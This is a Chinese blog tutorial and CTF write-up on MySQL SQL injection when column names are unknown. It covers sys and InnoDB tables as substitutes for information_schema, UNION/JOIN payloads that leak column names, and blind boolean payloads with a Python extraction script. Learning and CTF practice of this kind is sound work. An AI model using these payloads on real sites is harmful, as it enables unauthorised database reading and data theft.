深入浅出带你学习无列名注入


theme: jzman

本文正在参加「金石计划 . 瓜分6万现金大奖」

前言

大家对于SQL注入一定不陌生,我们常用的SQL注入方法是通过information_schema这个默认数据库来实现,可是你有没有想过,如果过滤了该数据库那么我们如何进行SQL语句的查询呢,本文就带给大家如何通过不使用information_schema来进行SQL注入,下面我们展开来讲。

基础知识

图片.png

首先我们先了解一下什么版本可以使用无列名注入:

MySQL < 5版本,或者在 MySQL >= 5 的版本[存在information_schema库]

我们先看查询表名,因为information_schema被过滤了,所以我们需要找到代替该函数的,这里有以下两个方法来进行查询:

sys数据库

MYSQL在5.7以上版本新增的数据库,基础数据来自information_schema和performance_chema,但是值得注意的是SYS数据库本身不储存任何数据。我们可以通过其中的schema_auto_increment_columns来获取表名。

InnoDb引擎

在MYSQL5.5.8及以上版本,InnoDB成为其默认存储引擎。同时MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats表,里面存储了数据库和其数据表的信息,需要注意的是这两个表里没有存储列名。

通过以上方法我们可以获取数据库名和表名,但是我们不知道列明,接下来就进入无列名注入的环节。

JOIN

首先来讲利用JOIN去进行无列名注入,通过JOIN建立两个表之间的内连接,也就是说将两张表的列名给加起来,可能会爆出相同的列明的名字,我们利用的就是这个特性来爆出列明。下面给大家进行演示:

当我们通过查询获取到表名之后,使用下面的PAYLOAD获取列名:

?id=-1' union all select * from (select * from users as a join users as b)as c--+

简单分析一下AS的作用是取别名,把users表当做a,join起连接作用,下面看看执行效果:

图片.png

可以看到获取到了第一列数据id,之后我们使用using来声明内连接,比如我要查第二列的数据:

?id=-1' union all select*from (select * from users as a join users b using(id))c--+

此时就会给我们回显第二列的数据,剩下的以此类推。

union select

平常我们查询语句大致为一下类型:

mysql> select * from xino;

但是当我们知道表中有几个列时,可以进行下面的查询:

select 1,2,3, union select * from xino; 

此时你会发现新建了一个虚拟表,里面存储了xino表里的所有数据:

图片.png

我们可以通过查询数字来查询数据:

select `3` from (select 1,2,3 union select * from xino)a;

图片.png

可以看到成功查询。

例题

了解完以上内容后我们来看一下例题去巩固一下:打开题目查看源码:

图片.png

需要我们POST一个id的参数,考虑是SQL注入,fuzz了一下后发现过滤了in,也就是说不能用平常的SQL注入来查表了,我们考虑使用:

sys.schema_table_statistics_with_buffer

来查询表名,因为涉及盲注,查询错误返回给我们NULL,构造poc:

0^(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema = database()),1,1))>32)

可以写一个脚本来查,最后得到表名为:

f1ag_1s_h3r3_hhhhh

因为union被过滤了,我们尝试别的无列名注入方法,这里采用加括号逐位比较大小的方法,具体可以看下面的poc:

1&&((select 1,"f")>(select * from flag_is_here))

通过逐个比较来进行判断,不过需要我们来写一个脚本这里就贴一下重点代码吧:

  while letf < right:
        s = flag
        mid = (letf+right) // 2
        s = s + chr(mid)
        payload = f"0^((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'{s}'))"
        data = {"id":payload}
        res = requests.post(url=url,data=data).text

最后可以跑出flag。

结语

今天给大家带来了无列名注入的知识点不知道大家学会了没有,简单来说无列名注入还是挺考察思维的需要我们构造查询的payload并写出脚本,有兴趣的小伙伴不妨自己去试一下,喜欢本文希望可以一键三连支持一下。

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容